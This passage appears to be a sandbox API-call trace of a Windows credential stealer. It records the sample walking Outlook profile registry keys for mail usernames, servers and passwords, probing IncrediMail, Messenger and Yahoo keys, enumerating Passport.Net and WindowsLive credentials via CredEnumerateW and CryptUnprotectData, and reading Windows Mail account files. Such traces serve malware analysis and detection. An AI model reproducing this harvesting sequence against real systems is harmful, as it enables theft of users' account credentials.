lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x0, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.350] RegQueryValueExA (in: hKey=0x10c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x0, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.350] RegQueryValueExA (in: hKey=0x10c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x0, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.350] RegCloseKey (hKey=0x10c) returned 0x0 [0063.350] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x1, lpName=0x18f784, lpcchName=0x18f764, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f75c | out: lpName="00000002", lpcchName=0x18f764, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f75c) returned 0x0 [0063.350] RegOpenKeyExA (in: hKey=0x108, lpSubKey="00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f884 | out: phkResult=0x18f884*=0x10c) returned 0x0 [0063.350] RegQueryValueExA (in: hKey=0x10c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x0, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.350] RegQueryValueExA (in: hKey=0x10c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x0, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.350] RegQueryValueExA (in: hKey=0x10c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x0, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.351] RegQueryValueExA (in: hKey=0x10c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x0, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.351] RegCloseKey (hKey=0x10c) returned 0x0 [0063.351] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x2, lpName=0x18f784, lpcchName=0x18f764, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f75c | out: lpName="00000003", lpcchName=0x18f764, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f75c) returned 0x0 [0063.351] RegOpenKeyExA (in: hKey=0x108, lpSubKey="00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f884 | out: phkResult=0x18f884*=0x10c) returned 0x0 [0063.351] RegQueryValueExA (in: hKey=0x10c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x3, lpData=0x18eed0*, lpcbData=0x18f2d4*=0xe) returned 0x0 [0063.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="voeimd", cchWideChar=-1, lpMultiByteStr=0x18f69c, cbMultiByte=127, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="voeimd", lpUsedDefaultChar=0x0) returned 7 [0063.351] _mbscpy (in: param_1=0x18f50c, param_2=0x18f69c | out: param_1=0x18f50c) returned 0x18f50c [0063.351] RegQueryValueExA (in: hKey=0x10c, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x3, lpData=0x18eed0*, lpcbData=0x18f2d4*=0xa) returned 0x0 [0063.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfae", cchWideChar=-1, lpMultiByteStr=0x18f408, cbMultiByte=127, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfae", lpUsedDefaultChar=0x0) returned 5 [0063.351] RegQueryValueExA (in: hKey=0x10c, lpValueName="Display Name", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x3, lpData=0x18eed0*, lpcbData=0x18f2d4*=0x10) returned 0x0 [0063.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fjuejju", cchWideChar=-1, lpMultiByteStr=0x18f304, cbMultiByte=127, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fjuejju", lpUsedDefaultChar=0x0) returned 8 [0063.351] RegQueryValueExA (in: hKey=0x10c, lpValueName="Email", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x3, lpData=0x18eed0*, lpcbData=0x18f2d4*=0x26) returned 0x0 [0063.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="voeimd@djhreuu.uhd", cchWideChar=-1, lpMultiByteStr=0x18f388, cbMultiByte=127, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="voeimd@djhreuu.uhd", lpUsedDefaultChar=0x0) returned 19 [0063.351] RegQueryValueExA (in: hKey=0x10c, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x3, lpData=0x18eed0*, lpcbData=0x18f2d4*=0xc) returned 0x0 [0063.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="grgew", cchWideChar=-1, lpMultiByteStr=0x18f488, cbMultiByte=127, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grgew", lpUsedDefaultChar=0x0) returned 6 [0063.351] RegQueryValueExA (in: hKey=0x10c, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x18f2d0, lpData=0x18f694, lpcbData=0x18f2d4*=0x4 | out: lpType=0x18f2d0*=0x0, lpData=0x18f694*=0x0, lpcbData=0x18f2d4*=0x4) returned 0x2 [0063.351] RegQueryValueExA (in: hKey=0x10c, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x18f2d0, lpData=0x18f68c, lpcbData=0x18f2d4*=0x4 | out: lpType=0x18f2d0*=0x0, lpData=0x18f68c*=0x0, lpcbData=0x18f2d4*=0x4) returned 0x2 [0063.351] RegQueryValueExA (in: hKey=0x10c, lpValueName="POP3 Use SPA", lpReserved=0x0, lpType=0x18f2c4, lpData=0x18f690, lpcbData=0x18f2c8*=0x4 | out: lpType=0x18f2c4*=0x0, lpData=0x18f690*=0x0, lpcbData=0x18f2c8*=0x4) returned 0x2 [0063.351] RegQueryValueExA (in: hKey=0x10c, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x18e684, lpData=0x18e6c0, lpcbData=0x18e6ac*=0x400 | out: lpType=0x18e684*=0x0, lpData=0x18e6c0*=0x0, lpcbData=0x18e6ac*=0x400) returned 0x2 [0063.351] _mbscpy (in: param_1=0x18f60c, param_2=0x4a310c | out: param_1=0x18f60c) returned 0x18f60c [0063.351] _mbscmp (_Str1=0x18f58c, _Str2=0x18f50c) returned -1 [0063.351] strlen (_Str="") returned 0x0 [0063.351] _mbsicmp (_Str1=0x18f58c, _Str2=0x18f50c) returned -1 [0063.352] malloc (_Size=0xe900) returned 0x1bd6360 [0063.352] RegQueryValueExA (in: hKey=0x10c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x67, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.352] RegQueryValueExA (in: hKey=0x10c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x67, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.352] RegQueryValueExA (in: hKey=0x10c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x67, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.352] RegCloseKey (hKey=0x10c) returned 0x0 [0063.352] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x3, lpName=0x18f784, lpcchName=0x18f764, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f75c | out: lpName="00000004", lpcchName=0x18f764, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f75c) returned 0x0 [0063.352] RegOpenKeyExA (in: hKey=0x108, lpSubKey="00000004", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f884 | out: phkResult=0x18f884*=0x10c) returned 0x0 [0063.352] RegQueryValueExA (in: hKey=0x10c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x67, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.352] RegQueryValueExA (in: hKey=0x10c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x67, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.352] RegQueryValueExA (in: hKey=0x10c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x67, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.352] RegQueryValueExA (in: hKey=0x10c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x67, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.353] RegCloseKey (hKey=0x10c) returned 0x0 [0063.353] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x4, lpName=0x18f784, lpcchName=0x18f764, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f75c | out: lpName="00000004", lpcchName=0x18f764, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f75c) returned 0x103 [0063.353] RegCloseKey (hKey=0x108) returned 0x0 [0063.353] RegEnumKeyExA (in: hKey=0x104, dwIndex=0xc, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="a533ec91a4f74549ac2130b6908c8aac", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.353] RegOpenKeyExA (in: hKey=0x104, lpSubKey="a533ec91a4f74549ac2130b6908c8aac", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.353] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.353] RegCloseKey (hKey=0x108) returned 0x0 [0063.353] RegEnumKeyExA (in: hKey=0x104, dwIndex=0xd, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="b70c659765f94740b657fee657d05ab4", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.353] RegOpenKeyExA (in: hKey=0x104, lpSubKey="b70c659765f94740b657fee657d05ab4", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.353] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.353] RegCloseKey (hKey=0x108) returned 0x0 [0063.353] RegEnumKeyExA (in: hKey=0x104, dwIndex=0xe, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="cce6b8ce16bac4458e5e40e3530d6f1d", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.353] RegOpenKeyExA (in: hKey=0x104, lpSubKey="cce6b8ce16bac4458e5e40e3530d6f1d", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.353] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.353] RegCloseKey (hKey=0x108) returned 0x0 [0063.353] RegEnumKeyExA (in: hKey=0x104, dwIndex=0xf, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="dd7f40a823cda64b92e9a96e9e46e406", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.353] RegOpenKeyExA (in: hKey=0x104, lpSubKey="dd7f40a823cda64b92e9a96e9e46e406", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.353] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.354] RegCloseKey (hKey=0x108) returned 0x0 [0063.354] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x10, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="ddb0922fc50b8d42be5a821ede840761", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.354] RegOpenKeyExA (in: hKey=0x104, lpSubKey="ddb0922fc50b8d42be5a821ede840761", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.354] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.354] RegCloseKey (hKey=0x108) returned 0x0 [0063.354] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x11, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="f86ed2903a4a11cfb57e524153480001", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.354] RegOpenKeyExA (in: hKey=0x104, lpSubKey="f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.354] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.354] RegCloseKey (hKey=0x108) returned 0x0 [0063.354] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x12, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.354] RegOpenKeyExA (in: hKey=0x104, lpSubKey="{D9734F19-8CFB-411D-BC59-833E334FCB5E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.354] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="Calendar Summary", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x0 [0063.354] RegOpenKeyExA (in: hKey=0x108, lpSubKey="Calendar Summary", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f884 | out: phkResult=0x18f884*=0x10c) returned 0x0 [0063.354] RegQueryValueExA (in: hKey=0x10c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x67, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.354] RegQueryValueExA (in: hKey=0x10c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x67, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.354] RegQueryValueExA (in: hKey=0x10c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x67, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.355] RegQueryValueExA (in: hKey=0x10c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x67, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.355] RegCloseKey (hKey=0x10c) returned 0x0 [0063.355] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x1, lpName=0x18f784, lpcchName=0x18f764, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f75c | out: lpName="Calendar Summary", lpcchName=0x18f764, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f75c) returned 0x103 [0063.355] RegCloseKey (hKey=0x108) returned 0x0 [0063.355] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x13, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x103 [0063.355] RegCloseKey (hKey=0x104) returned 0x0 [0063.355] RegEnumKeyExA (in: hKey=0x100, dwIndex=0x1, lpName=0x18f9b4, lpcchName=0x18f994, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f98c | out: lpName="Outlook", lpcchName=0x18f994, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f98c) returned 0x103 [0063.355] RegCloseKey (hKey=0x100) returned 0x0 [0063.355] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fad4 | out: phkResult=0x18fad4*=0x0) returned 0x2 [0063.355] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fad4 | out: phkResult=0x18fad4*=0x0) returned 0x2 [0063.355] FreeLibrary (hLibModule=0x73520000) returned 1 [0063.356] FreeLibrary (hLibModule=0x759b0000) returned 1 [0063.358] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\IncrediMail\\Identities", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fac4 | out: phkResult=0x18fac4*=0x0) returned 0x2 [0063.358] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\IncrediMail\\Identities", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fac4 | out: phkResult=0x18fac4*=0x0) returned 0x2 [0063.359] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Group Mail", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f870 | out: phkResult=0x18f870*=0x0) returned 0x2 [0063.359] _mbscpy (in: param_1=0x18f9ab, param_2=0x412fc4 | out: param_1=0x18f9ab) returned 0x18f9ab [0063.359] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\MSNMessenger", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f69c | out: phkResult=0x18f69c*=0x0) returned 0x2 [0063.359] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\MessengerService", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f698 | out: phkResult=0x18f698*=0x0) returned 0x2 [0063.359] _mbscpy (in: param_1=0x18f53b, param_2=0x412fc4 | out: param_1=0x18f53b) returned 0x18f53b [0063.359] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0063.359] GetProcAddress (hModule=0x74d40000, lpProcName="CredReadA") returned 0x74d871c1 [0063.359] GetProcAddress (hModule=0x74d40000, lpProcName="CredFree") returned 0x74d4b2ec [0063.359] GetProcAddress (hModule=0x74d40000, lpProcName="CredDeleteA") returned 0x74d87941 [0063.359] GetProcAddress (hModule=0x74d40000, lpProcName="CredEnumerateA") returned 0x74d87381 [0063.359] GetProcAddress (hModule=0x74d40000, lpProcName="CredEnumerateW") returned 0x74d87481 [0063.359] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x759b0000 [0063.361] GetProcAddress (hModule=0x759b0000, lpProcName="CryptUnprotectData") returned 0x759e5a7f [0063.361] CredReadA (in: TargetName="Passport.Net\\*", Type=0x4, Flags=0x0, Credential=0x18f67c | out: Credential=0x18f67c) returned 0 [0063.363] FreeLibrary (hLibModule=0x74d40000) returned 1 [0063.363] FreeLibrary (hLibModule=0x759b0000) returned 1 [0063.364] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Yahoo\\Pager", ulOptions=0x0, samDesired=0x20019, phkResult=0x18eefc | out: phkResult=0x18eefc*=0x0) returned 0x2 [0063.364] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\IdentityCRL", ulOptions=0x0, samDesired=0x20019, phkResult=0x18ea90 | out: phkResult=0x18ea90*=0x0) returned 0x2 [0063.364] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0063.364] GetProcAddress (hModule=0x74d40000, lpProcName="CredReadA") returned 0x74d871c1 [0063.364] GetProcAddress (hModule=0x74d40000, lpProcName="CredFree") returned 0x74d4b2ec [0063.364] GetProcAddress (hModule=0x74d40000, lpProcName="CredDeleteA") returned 0x74d87941 [0063.364] GetProcAddress (hModule=0x74d40000, lpProcName="CredEnumerateA") returned 0x74d87381 [0063.364] GetProcAddress (hModule=0x74d40000, lpProcName="CredEnumerateW") returned 0x74d87481 [0063.365] CredEnumerateW (in: Filter="WindowsLive:name=*", Flags=0x0, Count=0x18f790, Credential=0x18f794 | out: Count=0x18f790, Credential=0x18f794) returned 0 [0063.365] FreeLibrary (hLibModule=0x74d40000) returned 1 [0063.365] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x18f7a0, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 1 [0063.366] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x2b [0063.366] strlen (_Str="\\Microsoft\\Windows Mail") returned 0x17 [0063.366] _mbscat (in: param_1=0x18f7cb, param_2=0x414494 | out: param_1=0x18f7cb) returned 0x18f7cb [0063.366] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.366] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.366] strlen (_Str="*.oeaccount") returned 0xb [0063.366] _mbscpy (in: param_1=0x18ed64, param_2=0x18f12c | out: param_1=0x18ed64) returned 0x18ed64 [0063.366] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.366] _mbscat (in: param_1=0x18ed64, param_2=0x413078 | out: param_1=0x18ed64) returned 0x18ed64 [0063.366] _mbscat (in: param_1=0x18ed64, param_2=0x414488 | out: param_1=0x18ed64) returned 0x18ed64 [0063.366] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\*.oeaccount", lpFindFileData=0x18eea8 | out: lpFindFileData=0x18eea8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0xc0000034, dwReserved1=0x74da090d, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 0x2667f0 [0063.368] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.369] strlen (_Str="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 0x37 [0063.369] _mbscpy (in: param_1=0x18efe8, param_2=0x18f12c | out: param_1=0x18efe8) returned 0x18efe8 [0063.369] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.369] _mbscat (in: param_1=0x18efe8, param_2=0x413078 | out: param_1=0x18efe8) returned 0x18efe8 [0063.369] _mbscat (in: param_1=0x18efe8, param_2=0x18eed4 | out: param_1=0x18efe8) returned 0x18efe8 [0063.369] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x104 [0063.369] GetFileSize (in: hFile=0x104, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5e4 [0063.369] ??2@YAPAXI@Z () returned 0x4af980 [0063.369] SetFilePointer (in: hFile=0x104, lDistanceToMove=2, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2 [0063.369] ReadFile (in: hFile=0x104, lpBuffer=0x4af980, nNumberOfBytesToRead=0x5e2, lpNumberOfBytesRead=0x18ed24, lpOverlapped=0x0 | out: lpBuffer=0x4af980*, lpNumberOfBytesRead=0x18ed24*=0x5e2, lpOverlapped=0x0) returned 1 [0063.370] wcslen (_String="\r\n\r\n 00000001\r\n VeriSign Internet Directory Service\r\n directory.verisign.com\r\n http://www.verisign.com\r\n 00000064\r\n 0000003c\r\n 00000000\r\n NULL\r\n 00000001\r\n D:\\Program Files\\Common Files\\Services\\verisign.bmp\r\n\r\n") returned 0x2f1 [0063.370] ??2@YAPAXI@Z () returned 0x1be4c68 [0063.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r\n\r\n 